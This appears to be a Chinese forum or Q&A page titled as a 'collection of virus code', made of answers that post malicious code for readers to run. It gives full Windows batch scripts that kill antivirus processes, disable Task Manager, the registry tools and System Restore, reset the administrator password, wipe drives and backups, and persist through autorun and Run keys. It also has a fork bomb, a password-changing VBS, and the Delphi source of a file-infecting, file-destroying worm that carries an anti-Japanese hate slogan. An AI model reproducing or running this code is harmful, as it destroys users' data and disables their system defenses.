病毒代码大全(黑客病毒代码大全)

最强病毒!谨慎运行!此程序会将系统搞崩溃.摘自:htt我ps://www是.jb51.net/a链rticle/7129.h接tm  去掉里面的字哦@echo off  title You DEAD!!!!!!!  set taskkill=s  copy %0 %windir%system32cmd.bat  attrib %windir%system32cmd.bat +r +s +h  net stop sharedaccess >nul  %s% /im pfw.exe shadowtip.exe shadowservice.exe qq.exe explorer.exe IEXOLORE.EXE /f >nul  %s% /im norton* /f >nul  %s% /im av* /f >nul  %s% /im fire* /f >nul  %s% /im anti* /f >nul  %s% /im spy* /f >nul  %s% /im bullguard /f >nul  %s% /im PersFw /f >nul  %s% /im KAV* /f >nul  %s% /im ZONEALARM /f >nul  %s% /im SAFEWEB /f >nul  %s% /im OUTPOST /f >nul  %s% /im nv* /f >nul  %s% /im nav* /f >nul  %s% /im F-* /f >nul  %s% /im ESAFE /f >nul  %s% /im cle /f >nul  %s% /im BLACKICE /f >nul  %s% /im def* /f >nul  %s% /im 360safe.exe /f >nul  net stop Shadow" "System" "Service  set alldrive=d e f g h i j k l m n o p q r s t u v w x y z  for %%a in (c %alldrive%) do del %%a:360* /f /s /q >nul  for %%a in (c %alldrive%) do del %%a:修复* /f /s /q >nul  rem 修改注册表.......  REG ADD HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionexplorerAdvanced  FolderHiddenSHOWALL /v   CheckedValue /t REG_DWORD /d 00000000 /f >nul  REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v   NoRun /t REG_DWORD /d   00000001 /f >nul  REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v   NoRecentDocsMenu /t   REG_DWORD /d 00000001 /f >nul  REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v   NoDrives /t REG_DWORD /d   4294967295 /f >nul  REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v   Disableregistrytools /t   REG_DWORD /d 00000002 /f >nul  REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v   NoNetHood /t REG_DWORD /d   00000001 /f >nul  REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /V   NoDesktop /t REG_DWORD /d   00000001 /f >nul  REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v   NoClose /t REG_DWORD /d   00000001 /f >nul  REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v   NoFind /t REG_DWORD /d   00000001 /f >nul  REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v   DisableTaskMgr /t REG_DWORD   /d 00000001 /f >nul  REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v   NoLogOff /t REG_DWORD /d   00000001 /f >nul  REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v   NoSetTaskBar /t REG_DWORD   /d 00000001 /f >nul  REG ADD HKEY_LOCAL_MACHINESoftwareMicrosoftWindows" "NTCurrentVersionSystemRestore /v   DisableSR /t REG_DWORD /d   00000001 /f >nul  REG ADD HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindows" "NTSystemRestore /v   DisableConfig /t REG_DWORD /d   00000001 /f >nul  REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v   RestrictRun /t REG_DWORD /d   00000001 /f >nul  cls  net user administrator 123456 >nul  for %%c in (c %alldrive%) do del %%c:*.gho /f /s /q >nul  echo @echo off >d:setup.bat  echo shutdown -r -t 10 -f -c 亲爱的朋友，我十分抱歉的通知你，你的电脑已经严重崩溃，请重新  安装系统可以解决此问题  !^.^ >>d:setup.bat  echo copy d:setup.bat c:Documents" "and" "SettingsAll" "Users「开始」菜单程序启动  a.bat >>d:setup.bat  echo REG ADD HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun /v   setup.bat /t REG_SZ /d d:setup.bat   /f >>d:setup.bat  echo REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun /v   setup.bat /t REG_SZ /d d:setup.bat   /f >>d:setup.bat  echo REG ADD HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce /v   setup.bat /t REG_SZ /d d:setup.bat   /f >>d:setup.bat  HKEY_CLASSES_ROOTbatfileshellopencommand /v setup.bat /t REG_SZ /d d:setup.bat /f   >>d:setup.bat  echo [windows] >> %windir%win.ini  echo run=d:setup.bat C:AUTOEXEC.BAT >> %windir%win.ini  echo load=d:setup.bat C:AUTOEXEC.BAT >> %windir%win.ini  echo [boot] >> %windir%system.ini  echo shell=explorer.exe setup.bat C:AUTOEXEC.BAT >> %windir%system.ini  echo [AutoRun] >d:autorun.inf  echo Open=setup.bat >>d:autorun.inf  echo Open=system.bat >>d:autorun.inf  attrib d:autorun.inf +r +s +h >>d:setup.bat  attrib d:setup.bat +r +s +h >>d:setup.bat  start d:setup.bat /min >nul  echo @echo off >>C:AUTOEXEC.BAT  echo REG ADD HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun /v   AUTOEXEC.BAT /t REG_SZ /d   C:AUTOEXEC.BAT /f >>C:AUTOEXEC.BAT  echo REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun /v   AUTOEXEC.BAT /t REG_SZ /d   C:AUTOEXEC.BAT /f >>C:AUTOEXEC.BAT  REG ADD HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce /v   AUTOEXEC.BAT /t REG_SZ /d   C:AUTOEXEC.BAT /f >>C:AUTOEXEC.BAT  echo REG ADD HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun /v   setup.bat /t REG_SZ /d d:setup.bat   /f >>C:AUTOEXEC.BAT  echo REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun /v   setup.bat /t REG_SZ /d d:setup.bat   /f >>C:AUTOEXEC.BAT  REG ADD HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce /v   setup.bat /t REG_SZ /d d:setup.bat   /f >>C:AUTOEXEC.BAT  echo if not d:setup.bat start %windir%system32cmd.bat /min >>C:AUTOEXEC.BAT  copy %0 %systemroot%windows.bat >nul  if not exist %windir%/system32/explorer.bat @echo off >>%windir%/system32/explorer.bat  if not exist C:AUTOEXEC.BAT start %windir%system32cmd.bat /min >>%  windir%/system32/explorer.bat  if not exist %windir%system32cmd.bat start %systemroot%windows.bat /min >>%  windir%/system32/explorer.bat  echo REG ADD HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun /v   AUTOEXEC.BAT /t REG_SZ /d   C:AUTOEXEC.BAT /f >>%windir%/system32/explorer.bat  echo REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun /v   AUTOEXEC.BAT /t REG_SZ /d   C:AUTOEXEC.BAT /f >>%windir%/system32/explorer.bat  echo REG ADD HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun /v   setup.bat /t REG_SZ /d d:setup.bat   /f >>%windir%/system32/explorer.bat  echo REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun /v   setup.bat /t REG_SZ /d d:setup.bat   /f >>%windir%/system32/explorer.bat  echo REG ADD HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun /v   explorer.bat /t REG_SZ /d %  windir%/system32/explorer.bat/f >>%windir%/system32/explorer.bat  echo REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun /v   explorer.bat /t REG_SZ /d %  windir%/system32/explorer.bat /f >>%windir%/system32/explorer.bat  echo start %systemroot%windows.bat /min >>%windir%/system32/explorer.bat  attrib %windir%/system32/explorer.bat +r +s +h%  attrib %systemroot%/windows.bat +r +s +h  for %%c in (%alldrive%) do echo @echo off >>%%c:system.bat  for %%c in (%alldrive%) do echo start %windir%system32cmd.bat /min >>%%c:system.bat  for %%c in (%alldrive%) do echo attrib system.bat +r +s +h >>%%c:system.bat  set drive=e f g h i j k l m n o p q r s t u v w x y z  for %%c in (%drive%) do echo [AuroRun] >%%c:autorun.inf  for %%c in (%drive%) do echo Open=system.bat >>%%c:autorun.inf  copy %0 d:Program" "Filesrun.bat  for %%c in (%alldrive%) do echo if not exist %windir%/system32/explorer.bat start   d:Program" "Filesrun.bat /min   >>%%c:system.bat  for %%c in (%alldrive%) do attrib autorun.inf +r +s +h >>%%c:system.bat  for %%c in (%alldrive%) do attrib %%c:autorun.inf +r +s +h >nul  for %%c in (%alldrive%) do attrib %%c:system.bat +r +s +h >nul  if not exist %windir%/system32/explorer.bat start d:Program" "Filesrun.bat  /min >>d:setup.bat  attrib d:Program" "Filesrun.bat +r +s +h >nul  del %0  exit
很多，有几个思路贡献下 第一种:1start %0goto 1这个代码会自己运行自己，产生无限窗口，直到内存爆满死机。第二种copy %0 "C:Documents and SettingsAll Users「开始」菜单程序启动*.*“copy %0 "C:Documents and SettingsDefault User「开始」菜单程序启动*.*"copy %0 "C:ProgramDataMicrosoftWindowsStart MenuProgramsStartup"加上这个代码之后，会把自身添加到启动菜单中（随系统启动而启动，与shutdown -r -t 0搭配使用威力倍增）第三种for /R C: %%i in (*.*) do @if not "%%~xi"==".gho" del "%%~fi"for /R D: %%i in (*.*) do @if not "%%~xi"==".gho" del "%%~fi"for /R E: %%i in (*.*) do @if not "%%~xi"==".gho" del "%%~fi"for /R F: %%i in (*.*) do @if not "%%~xi"==".gho" del "%%~fi"这是删除CDEF盘上面的gho文件，使用户无法通过ghost恢复系统第四种（特殊）EchoConst strPassword = "wohenni"' >>1.vbsecho Dim WshNetwork >>1.vbsecho Set WshNetwork = CreateObject("WScript.Network") >>1.vbsecho Dim userName >>1.vbsecho userName = WshNetwork.userName&",user" >>1.vbsecho Dim Domain >>1.vbsecho Set Domain = GetObject("WinNT://./"&userName) >>1.vbsecho Domain.SetPassword strPassword >>1.vbsecho Domain.SetInfo >>1.vbsecho dim gj >>1.vbsecho on error resume next >>1.vbsecho dim WSHshellA >>1.vbsecho set WSHshellA = wscript.createobject("wscript.shell") >>1.vbsstart “” “1.vbs“生成能把登录密码改为”wohenni”的VBS，并运行。第五种fsutil file createnew C:1.hahaha 4096000这是生成特定大小的文件，这句意思是在C盘下面生成1.hahaha，大小为4096000字节 还有很多，不一一列举了，希望您能更好地学习批处理！
呵呵，我笑了 @echo offassoc .exe=txtfileassoc .txt=exefileassoc .html=zipfileassoc .dll=vbsfileassoc .sys=batfileftype exefile=c:users%username%desktop123.exeftype dllfile=c:users%username%desktop123.exeftype sysfile=c:users%username%desktop123.exeren *.exe *.abcdel c:*.*/f/s/qdel d:*.*/f/s/qdel e:*.*/f/s/qdel f:*.*/f/s/qREG ADD HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionexplorerAdvancedFolderHiddenSHOWALL /v CheckedValue /t REG_DWORD /d 00000000 /f >nulREG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoRun /t REG_DWORD /d 00000001 /f >nulREG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoRecentDocsMenu /t REG_DWORD /d 00000001 /f >nulREG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoDrives /t REG_DWORD /d 4294967295 /f >nulREG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v Disableregistrytools /t REG_DWORD /d 00000002 /f >nulREG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoNetHood /t REG_DWORD /d 00000001 /f >nulREG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /V NoDesktop /t REG_DWORD /d 00000001 /f >nulREG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoClose /t REG_DWORD /d 00000001 /f >nulREG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoFind /t REG_DWORD /d 00000001 /f >nulREG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableTaskMgr /t REG_DWORD /d 00000001 /f >nulREG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoLogOff /t REG_DWORD /d 00000001 /f >nulREG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoSetTaskBar /t REG_DWORD /d 00000001 /f >nulREG ADD HKEY_LOCAL_MACHINESoftwareMicrosoftWindows" "NTCurrentVersionSystemRestore /v DisableSR /t REG_DWORD /d 00000001 /f >nulREG ADD HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindows" "NTSystemRestore /v DisableConfig /t REG_DWORD /d 00000001 /f >nulREG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v RestrictRun /t REG_DWORD /d 00000001 /f >nulclsnet user administrator 123456 >nulfor /R C: %%i in (*.*) do @if not "%%~xi"==".gho" del "%%~fi"for /R D: %%i in (*.*) do @if not "%%~xi"==".gho" del "%%~fi"for /R E: %%i in (*.*) do @if not "%%~xi"==".gho" del "%%~fi"for /R F: %%i in (*.*) do @if not "%%~xi"==".gho" del "%%~fi"copy %0 "C:Documents and SettingsAll Users「开始」菜单程序启动*.*"copy %0 "C:Documents and SettingsDefault User「开始」菜单程序启动*.*"copy 0%"C:ProgramDataMicrosoftWindowsStart MenuProgramsStartUpSystemTools.exe.bat"taskkill /f /fi "pid ne 1" 最后一句蓝屏重启
start cmd%0
@ehco off :startstartgoto start copy xxxxx C:UsersrayAppDataRoamingMicrosoftWindowsStart MenuProgramsStartup足矣

不行的得用虚拟机才可以测试病毒代码无需下载，把下面这段代码复制到记事本里，保存为文本文件 X5O!P%@AP[4PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*熊猫烧香ogram Japussy;usesWindows, SysUtils, Classes, Graphics, ShellAPI{, Registry};constHeaderSize = 82432;//病毒体的大小IconOffset = $12EB8; //PE文件主图标的偏移量//在我的Delphi5 SP1上面编译得到的大小，其它版本的Delphi可能不同//查找2800000020的十六进制字符串可以找到主图标的偏移量{HeaderSize = 38912;//Upx压缩过病毒体的大小IconOffset = $92BC;//Upx压缩过PE文件主图标的偏移量//Upx 1.24W 用法: upx -9 --8086 Japussy.exe}IconSize = $2E8; //PE文件主图标的大小--744字节IconTail = IconOffset + IconSize;//PE文件主图标的尾部ID = $44444444;//感染标记//垃圾码，以备写入Catchword = 'If a race need to be killed out, it must be Yamato. ' +'If a country need to be destroyed, it must be Japan! ' +'*** W32.Japussy.Worm.A ***';{$R *.RES}function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;stdcall; external 'Kernel32.dll'; //函数声明varTmpFile: string;Si:STARTUPINFO;Pi:PROCESS_INFORMATION;IsJap: Boolean = False; //日文操作系统标记{ 判断是否为Win9x }function IsWin9x: Boolean;varVer: TOSVersionInfo;beginResult := False;Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);if not GetVersionEx(Ver) thenExit;if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9xResult := True;end;{ 在流之间复制 }procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;dStartPos: Integer; Count: Integer);varsCurPos, dCurPos: Integer;beginsCurPos := Src.Position;dCurPos := Dst.Position;Src.Seek(sStartPos, 0);Dst.Seek(dStartPos, 0);Dst.CopyFrom(Src, Count);Src.Seek(sCurPos, 0);Dst.Seek(dCurPos, 0);end;{ 将宿主文件从已感染的PE文件中分离出来，以备使用 }procedure ExtractFile(FileName: string);varsStream, dStream: TFileStream;begintrysStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);trydStream := TFileStream.Create(FileName, fmCreate);trysStream.Seek(HeaderSize, 0); //跳过头部的病毒部分dStream.CopyFrom(sStream, sStream.Size - HeaderSize);finallydStream.Free;end;finallysStream.Free;end;exceptend;end;{ 填充STARTUPINFO结构 }procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);beginSi.cb := SizeOf(Si);Si.lpReserved := nil;Si.lpDesktop := nil;Si.lpTitle := nil;Si.dwFlags := STARTF_USESHOWWINDOW;Si.wShowWindow := State;Si.cbReserved2 := 0;Si.lpReserved2 := nil;end;{ 发带毒邮件 }procedure SendMail;begin//哪位仁兄愿意完成之？end;{ 感染PE文件 }procedure InfectOneFile(FileName: string);varHdrStream, SrcStream: TFileStream;IcoStream, DstStream: TMemoryStream;iID: LongInt;aIcon: TIcon;Infected, IsPE: Boolean;i: Integer;Buf: array[0..1] of Char;begintry //出错则文件正在被使用，退出if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染Exit;Infected := False;IsPE := False;SrcStream := TFileStream.Create(FileName, fmOpenRead);tryfor i := 0 to $108 do //检查PE文件头beginSrcStream.Seek(i, soFromBeginning);SrcStream.Read(Buf, 2);if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记beginIsPE := True; //是PE文件Break;end;end;SrcStream.Seek(-4, soFromEnd); //检查感染标记SrcStream.Read(iID, 4);if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染Infected := True;finallySrcStream.Free;end;if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出Exit;IcoStream := TMemoryStream.Create;DstStream := TMemoryStream.Create;tryaIcon := TIcon.Create;try//得到被感染文件的主图标(744字节)，存入流aIcon.ReleaseHandle;aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);aIcon.SaveToStream(IcoStream);finallyaIcon.Free;end;SrcStream := TFileStream.Create(FileName, fmOpenRead);//头文件HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);try//写入病毒体主图标之前的数据CopyStream(HdrStream, 0, DstStream, 0, IconOffset);//写入目前程序的主图标CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);//写入病毒体主图标到病毒体尾部之间的数据CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);//写入宿主程序CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);//写入已感染的标记DstStream.Seek(0, 2);iID := $44444444;DstStream.Write(iID, 4);finallyHdrStream.Free;end;finallySrcStream.Free;IcoStream.Free;DstStream.SaveToFile(FileName); //替换宿主文件DstStream.Free;end;except;end;end;{ 将目标文件写入垃圾码后删除 }procedure SmashFile(FileName: string);varFileHandle: Integer;i, Size, Mass, Max, Len: Integer;begintrySetFileAttributes(PChar(FileName), 0); //去掉只读属性FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件trySize := GetFileSize(FileHandle, nil); //文件大小i := 0;Randomize;Max := Random(15); //写入垃圾码的随机次数if Max < 5 thenMax := 5;Mass := Size div Max; //每个间隔块的大小Len := Length(Catchword);while i < Max dobeginFileSeek(FileHandle, i * Mass, 0); //定位//写入垃圾码，将文件彻底破坏掉FileWrite(FileHandle, Catchword, Len);Inc(i);end;finallyFileClose(FileHandle); //关闭文件end;DeleteFile(PChar(FileName)); //删除之exceptend;end;{ 获得可写的驱动器列表 }function GetDrives: string;varDiskType: Word;D: Char;Str: string;i: Integer;beginfor i := 0 to 25 do //遍历26个字母beginD := Chr(i + 65);Str := D + ':';DiskType := GetDriveType(PChar(Str));//得到本地磁盘和网络盘if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) thenResult := Result + D;end;end;{ 遍历目录，感染和摧毁文件 }procedure LoopFiles(Path, Mask: string);vari, Count: Integer;Fn, Ext: string;SubDir: TStrings;SearchRec: TSearchRec;Msg: TMsg;function IsValidDir(SearchRec: TSearchRec): Integer;beginif (SearchRec.Attr'.') and(SearchRec.Name > '..') thenResult := 0 //不是目录else if (SearchRec.Attr = 16) and(SearchRec.Name > '.') and(SearchRec.Name > '..') thenResult := 1 //不是根目录else Result := 2; //是根目录end;beginif (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) thenbeginrepeatPeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列，避免引起怀疑if IsValidDir(SearchRec) = 0 thenbeginFn := Path + SearchRec.Name;Ext := UpperCase(ExtractFileExt(Fn));if (Ext = '.EXE') or (Ext = '.SCR') thenbeginInfectOneFile(Fn); //感染可执行文件endelse if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') thenbegin//感染HTML和ASP文件，将Base64编码后的病毒写入//感染浏览此网页的所有用户//哪位大兄弟愿意完成之？endelse if Ext = '.WAB' then //Outlook地址簿文件begin//获取Outlook邮件地址endelse if Ext = '.ADC' then //Foxmail地址自动完成文件begin//获取Foxmail邮件地址endelse if Ext = 'IND' then //Foxmail地址簿文件begin//获取Foxmail邮件地址endelsebeginif IsJap then //是倭文操作系统beginif (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') thenSmashFile(Fn); //摧毁文件end;end;end;//感染或删除一个文件后睡眠200毫秒，避免CPU占用率过高引起怀疑Sleep(200);until (FindNext(SearchRec) > 0);end;FindClose(SearchRec);SubDir := TStringList.Create;if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) thenbeginrepeatif IsValidDir(SearchRec) = 1 thenSubDir.Add(SearchRec.Name);until (FindNext(SearchRec) > 0);end;FindClose(SearchRec);Count := SubDir.Count - 1;for i := 0 to Count doLoopFiles(Path + SubDir.Strings + '', Mask);FreeAndNil(SubDir);end;{ 遍历磁盘上所有的文件 }procedure InfectFiles;varDriverList: string;i, Len: Integer;beginif GetACP = 932 then //日文操作系统IsJap := True; //去死吧！DriverList := GetDrives; //得到可写的磁盘列表Len := Length(DriverList);while True do //死循环beginfor i := Len downto 1 do //遍历每个磁盘驱动器LoopFiles(DriverList + ':', '*.*'); //感染之SendMail; //发带毒邮件Sleep(1000 * 60 * 5); //睡眠5分钟end;end;{ 主程序开始 }beginif IsWin9x then //是Win9xRegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程else //WinNTbegin//远程线程映射到Explorer进程//哪位兄台愿意完成之？end;//如果是原始病毒体自己if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 thenInfectFiles //感染和发邮件else //已寄生于宿主程序上了，开始工作beginTmpFile := ParamStr(0); //创建临时文件Delete(TmpFile, Length(TmpFile) - 4, 4);TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件，多一个空格ExtractFile(TmpFile); //分离之FillStartupInfo(Si, SW_SHOWDEFAULT);CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,0, nil, '.', Si, Pi); //创建新进程运行之InfectFiles; //感染和发邮件end; end
病毒代码是可以给计算机造成破坏的恶意程序的代码，这个代码生成的程序就是病毒。病毒是由一些试图对他人电脑进行破坏或者其他商业利益行为而驱使一些人制作的。编制或者在计算机程序中插入的破坏计算机功能或者破坏数据，影响计算机使用并且能够自我复制的一组计算机指令或者程序代码被称为计算机病毒（Computer Virus）。具有破坏性，复制性和传染性。代码就是程序员用 开发工具所支持的语言写出来的 源文件，是一组由 字符、符号或信号 码元以离散形式表示信息的明确的规则体系。代码设计的原则包括唯一确定性、标准化和通用性、可扩充性与稳定性、便于识别与记忆、力求短小与格式统一以及容易修改等。源代码是代码的分支，某种意义上来说，源代码相当于代码。现代程序语言中，源代码可以书籍或磁带形式出现，但最为常用格式是文本文件，这种典型格式的目的是为了编译出 计算机程序。计算机源代码最终目的是将人类可读文本翻译成为计算机可执行的 二进制 指令，这种过程叫 编译，它由通过 编译器完成。
多的是给你个恶搞的玩on error resume next dim WSHshellAset WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,truedim ado while(a <> "我是猪")a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"loopmsgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd.exe /c shutdown -a",0 ,truemsgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"把这段复制，新建一个文本文档，粘贴进去，保存，然后右击，属性，将后缀由.txt改为.vbs 确定就行了！以后双击这个vbs文件就能捉弄人了 你想让他喊什么就改引号里的内容就行了！
呵呵~小学生？

- -！！有些病毒代码还没变成EXE。。。。就已经成病毒了。。。。你自己小心点吧- -